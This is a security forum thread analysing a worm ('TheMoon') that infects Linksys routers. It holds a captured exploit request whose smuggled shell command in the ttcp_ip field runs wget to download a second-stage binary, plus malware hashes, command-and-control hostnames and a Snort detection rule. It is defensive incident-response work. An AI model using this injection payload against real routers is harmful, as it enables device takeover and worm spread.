Threat Level: green Handler on Duty: Rob VandenBrink

SANS ISC InfoSec Community Forums


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Linksys Worm ("TheMoon") Captured
Quoting Diary:

Assistance needed:

  • If you have a vulnerable device that is infected, we could use full packet captures from that device. I am still trying to find out more about the command and control channel (if it exists).
  • if you have experience reverse engineering MIPS malware, ask me for a sample (use the contact form.)

One important update: This affects other Linksys routers as well. For example, we do have some routers conecting to the honeypot that identify themselves as E2500 (Firmware 1.0.03 build 4)

Finally our honeypot did capture something that looks like it is responsible for the scanning activity we see:

The initial request, as discussed earlier, is:

GET /HNAP1/ HTTP/1.1
Host: [ip of host]:8080
 
The next request is where it gets interesting:
 
POST /[withheld].cgi HTTP/1.1
Host: [ip of honeypot]:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[ip of honeypot]:8080/
Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH    <- username: admin   password: &i1*@U$6xvcG 
   (still trying to figure out the significance of this password)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 518

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63
%74%69%6f%6e%3d&%73%75%62%6d%69%74%5f%74%79%70%65%3d&%61%63%74%69%6f
%6e%3d&%63%6f%6d%6d%69%74%3d%30&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74
%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63
%64%20%2f%74%6d%70%3b%69%66%20%5b%20%21%20%2d%65%20%2e%4c%32%36%20
%5d%3b%74%68%65%6e%20%77%67%65%74%20%68%74%74%70%3a%2f%2f%xx%xx%2e
%xx%xx%xx%2e%xx%xx%xx%2e%xx%xx%xx%3a%31%39%33%2f%30%52%78%2e%6d%69
%64%3b%66%69%60&%53%74%61%72%74%45%50%49%3d%31
 
The decoded version of this request:

submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2
&ttcp_ip=-h
    `cd /tmp;if [ ! -e .L26 ];then wget http://[source IP]:193/0Rx.mid;fi`
&StartEPI=1

So it looks like it will try to download a "second stage" from port 193 from the attacking router. The ".L26" file appears to be a lock file to prevent multiple exploitation. 

I am withholding the full URL for now until I can figure out if there is a patch or if this is a public/known exploit.

The port appears to change but is always < 1024. The second stage binary si always three letters and then a "random" extension.

 

Here are the MD5s of some of the binaries I retrieved so far. They are ELF binaries . If anybody would like to assist in reversing them, please contact me for a sample.

d9547024ace9d91037cbeee5161df33e  0dQ.png
a85e4a90a7b303155477ee1697995a43  Dsn.raw
88a5c5f9c5de5ba612ec96682d61c7bb  EXr.pdf
ef19de47b051cb01928cab1a4f3eaa0e  Osn.asc

file type: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

I am going to update this diary a bit blow-by-blow like as I am getting to reverse parts of the second stage.
 
- The binary includes a set of hard coded netblocks (/24 and /21) which are likely the blocks it scans. 
- there are also hardcoded dyndyn.org host names. Not sure yet what they are for (C&C?): azlan281.dyndns.org, littlefrog.dyndns.org, charinalg06.dyndns.org, xplunk.dyndns-home.com and more.
- just based on "strings" still, it looks like there is a command and control channel use to report back the status of the host.
- a list of user agents:
Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)
Mozilla/2.0 (compatible; MSIE 3.0B; Win32)
Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)
Mozilla/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0
Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]
Mozilla/5.0 (compatible; Konqueror/2.2.2; Linux 2.4.14-xfs; X11; i686)
Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7
Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1
Opera/9.0 (Windows NT 5.1; U; en)
Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224
Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3
Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322 Kazehakase/0.4.4.1
 
- a list of server banners:
Apache/2.2.9 (Fedora)
Apache/1.3.3 (Unix)  (Red Hat/Linux)
Apache/1.3.23
Microsoft-IIS/5.0
nginx
Microsoft-IIS/5.1
Netscape-Enterprise/4.1
Microsoft-IIS/6.0
Apache/2.2.24 (Amazon)
Sun-ONE-Web-Server/6.1
Microsoft-IIS/7.5
IBM_HTTP_Server
 
Extensions and media types used for the 2nd stage files:
 
application/pdf
.pdf
image/png
image/gif
.gif
image/jpeg
.jpg
image/bmp
.bmp
image/tiff
.tif
audio/ac3
.ac3
audio/asc
.asc
audio/ogg
.ogg
audio/midi
.mid
audio/mpeg
.mpg
video/mpeg
video/avi
.avi
video/raw
.raw
 
The binary is linked against OpenSSL, so the C&C channel could use SSL.
 
The binary also includes a couple of images (thanks Peter for pointing that out). The creation date of the images is May 9th 2013. They appear to be logos identifying the author? There are a total of 5 PNG images. 3 smilies and 2 logos. I am including the larger logo below. There are a number of strings with references to "lunar", "moon", "planets" that appear to be used as part of the C&C channel.
 
 
The reference to "Lunar Industries" and the logo appears to be a reference to the movie "The Moon" http://www.imdb.com/title/tt1182345/
 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Dr. J

1655 Posts
ISC Handler
The user agent is randomised; we can see how quickly (actually not that fast) it scanned through a small range of IPs here:

75.69.x.x - admin [13/Feb/2014:10:15:01 +0000] "GET /HNAP1/ HTTP/1.1" 301 185 "http://x.x.x.193/" "Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1"
75.69.x.x - admin [13/Feb/2014:10:15:01 +0000] "GET /HNAP1/ HTTP/1.1" 404 247 "http://x.x.x.195:8080/" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7"
75.69.x.x - admin [13/Feb/2014:10:15:04 +0000] "GET /HNAP1/ HTTP/1.1" 301 185 "http://x.x.x.198/" "Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]"
75.69.x.x - admin [13/Feb/2014:10:15:10 +0000] "GET /HNAP1/ HTTP/1.1" 404 247 "http://x.x.x.195/" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x"

I wonder if the port for stage2 is always 193? From once source I get Connection Refused, from another I get Connection Timed Out although both their port 80's are still reachable.

I hope that password mentioned isn't another case of hard-coded credentials to debug stuff on the router.
Steven C.

164 Posts
The initial HNAP technique is described here:

http://www.sourcesec.com/Lab/dlink_hnap_captcha.pdf

So it looks like they snag the credentials in the initial attempt and then post back with those credentials on the second request causing the second stage to be executed.

Like I had mentioned here.... https://isc.sans.edu/forums/diary/Suspected+Mass+Exploit+Against+Linksys+E1000+E1200+Routers/17621/1#29684

I believe the second stage is using a technique described in a blog post by one of my co-workers back in March of 2013...

http://blog.spiderlabs.com/2013/05/under-the-hood-linksys-remote-command-injection-vulnerabilities.html
claudijd

3 Posts
We did a short analysis of the hosts performing the "GET /HNAP1/ with empty username nad password "admin" and we got >100 hits in our logs. Short summary:
- all useragents match your list
- oldest hit was in August 2013 (previous hits in July didn't use the "admin" password)
- Linksys models involved in the scanning include not only E1000 and E1200, but also E1500, E2500, E3200 and E4200 (full list with firmware versions http://zaufanatrzeciastrona.pl/post/internetowy-robak-infekuje-niezabezpieczone-rutery-linksysa/)
Anonymous

1 Posts
The Cmd line injection vulnerability seems to go back a long ways. Pulling and looking at firmwares from older WRT54G units you see the same bug.

epi_ttcp is being called by the usr/sbin/httpd without checking/validating the parameters being passed.

"epi_ttcp -tsufm -l %s -n %s %s &", ttcp_size, ttcp_num, ttcp_ip

So its a similar issue as what was disclosed in May 2013, but instead of exploiting a problem with the ping test part of the code its in the ttcp section in Start_epi function inside httpd.
pktman

11 Posts
Looking at web logs it would appear that the malware attempts to spread to other systems by probing ports 80 and 8080. Before seeing the first HNAP probe I can see what appears to be SSL attempts to connect to those ports using TLS/SSL. It shows up in the logs as the "\x80w\x01\x03\x01" string in apache web logs.

76.14.X.X - - [11/Feb/2014:05:55:28 -0800] "\x80w\x01\x03\x01" 400 294 "-" "-" "-" "-" "-" "37382"
76.14.X.X - - [11/Feb/2014:05:55:28 -0800] "GET /HNAP1/ HTTP/1.1" 404 225 "http://[host-ip]/" "Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" "en-US,en;q=0.5" "gzip, deflate" "37384"

So the binding to openssl may be for command and control but it also may be there to allow the malware to try to talk to routers that have the SSL enabled for their remove management web connection.
pktman

11 Posts
I created a snort rule months ago for this:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP HNAP admin brute force login attempt"; flow:established,to_server; content:"GET|20 2f|HNAP1|2f 20|HTTP|2f|1.1|0d 0a|"; fast_pattern:only; content:"Authorization|3a 20|Basic YWRtaW46"; http_header;metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http;reference:url,www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf; classtype:bad-unknown; sid:10000112; rev:2;)
ames

19 Posts
@claudijd Not the same thing; the password is included in the initial HNAP request and it seems to be randomly generated with each request (i.e. /...cgi request is using different one than the HNAP one). I believe it's only for fingerprinting the model number.

@Anonymous From what I've seen, it's using the username "admin" and randomly generated password, not password "admin". The oldest requests using "admin" username and matching user-agent (not sure about the password; didn't log those) I've seen are from 2013/06/22.

@pktman There is a bit more to it -- while the current firmwares *do* allow you to send the request exploiting the shell escape tricks, they *do* require you to be authenticated first. However, there is a way to circumvent the authentication requirement completely (password does not matter) and that's what this worm is exploiting.
PK

2 Posts
The worm does use a CGI script that doesn't check credentials (authentication bypass) so the authentication header doesn't really matter. It looks like random passwords are used, but they don't really matter (one reason I withheld the name of the cgi for now)
Dr. J

1655 Posts
ISC Handler
Quoting PK:@claudijd Not the same thing; the password is included in the initial HNAP request and it seems to be randomly generated with each request (i.e. /...cgi request is using different one than the HNAP one). I believe it's only for fingerprinting the model number.

@Anonymous From what I've seen, it's using the username "admin" and randomly generated password, not password "admin". The oldest requests using "admin" username and matching user-agent (not sure about the password; didn't log those) I've seen are from 2013/06/22.

@pktman There is a bit more to it -- while the current firmwares *do* allow you to send the request exploiting the shell escape tricks, they *do* require you to be authenticated first. However, there is a way to circumvent the authentication requirement completely (password does not matter) and that's what this worm is exploiting.


Yeah I realized they were using a mechanism to bypass proper authentication this time around. But do see evidence of this method of cmd line injection against the start_epi function with "user=blank,passwd=admin" being attempted back over a year ago. Which means they were trying this against those who hadn't changed their default passwords.
pktman

11 Posts
Wow.... You folks are fantastic. I discovered the worm in the routers of a few of my ISP's customers this week (it could well have hit all of them, but fortunately we use carrier-grade NAT to protect customers who do not need public IPs) and was beginning my own research when I reported it to you. In less than 24 hours you have duplicated all of my initial results and forged on ahead.

It appears that even more Linksys models are vulnerable to the exploit used by this worm than have been mentioned.... The WRT160N appears to succumb to the same method of penetration (even if the password has been changed from the default), as do the E800 and E900 and the Valet series. Please keep up the good work and let me know how I can assist.
BrettGlass

3 Posts
I like to throw the SHA256 hashes at VirusTotal's search engine to look for comparable files, or detection. Not sure if it's of any help, but you only provided the MD5s.
Brian Bartlett

2 Posts
Here is a list of router models mentioned in the binary:
E4200
E3200
E3000
E2500
E2100L
E2000
E1550
E1500
E1200
E1000
E900

Regarding MD5s/SHA256 checksums: Here is what I got so far, but each sample includes a unique "trailer" at the end. Otherwise the samples are identical

shasum *
1bf3b5532a822feed61bce06e6f34ca3ad092699 0dQ.png
16083c0da38ab6f6454ce4a54511e67f267f4e93 Dsn.raw
d2538c13cb2c6fdb1aa26278ba6e7dd9b3837364 EXr.pdf
5eea253c3dc694bec70f680189966ddd021269c7 Osn.asc
ef6238d914e65c8dedc35caf9c26414528ca45c9 WN6.pdf
24de530cc2516a626c64ef604ec3bb7da6075e50 n9S.jpg
Dr. J

1655 Posts
ISC Handler
oops. here sha512

2c5b98c304d7be92d67a177cd9774941893f446a970f4f1bb66ea845ff14b
6a525a29b54ae1c0597daec5e17faaf6e400a026de519c4a85db084a9710c8d11c6 0dQ.png
1ba4806e11972a1a5d4c388231558be4a084bebbe3ac34fa17c474f9fcef6
34a476bef3bfa74eccb20ea7704a1f49f07b51219976010bea2ceb030d7981d9b74 Dsn.raw
39d4ceb2628f723a9308365aa7f0465e03f74abcb14a1f415ac8f40a5e7f3
135579ceab7e36c616e4a0df702781291df70c31af1d6e0e8d2dd7c114f10e02a1c EXr.pdf
3f3b2fcfcc19a9794e4335da30412727f66d867d76e83368f52a805e8b64
d0d91832daa784122c1b5b698010157476102d1f2a11e2fadbcf48249e1be60b041f WN6.pdf
7da4ab8e1c5a314669cc3feaed3c5edea09b1aeb34a4a3046c2dc2ef82c6
731dbfc47c2aa6522620453c777105e5429d3889a62e38aca0575dc0a71deffd9660 n9S.jpg
Dr. J

1655 Posts
ISC Handler
Quoting Brian Bartlett:I like to throw the SHA256 hashes at VirusTotal's search engine to look for comparable files, or detection. Not sure if it's of any help, but you only provided the MD5s.


VT interface actually allows you to search by MD5 too -- but considering the fact that each instance is slightly different (due to the trailing bytes), searching by hash is unlikely to be of much use (unless the person calculating the hash actually uploaded the files to VT explicitly).
PK

2 Posts
Hi i can have a look at the binaries over the week end if you want and still need it.

Kind regards,
Nicolas.
NicolasV

1 Posts
For samples, please send me an email (or use the contact form)
Dr. J

1655 Posts
ISC Handler
hello, is there anyway to tell if a router has been compromised other than observing traffic?
is it modifying dns settings or anything else that an end user can login and look and see?
many of the e- series linksys routers are EOL and have no available fw upgrades
Anonymous

1 Posts

Sign Up for Free or Log In to start participating in the conversation!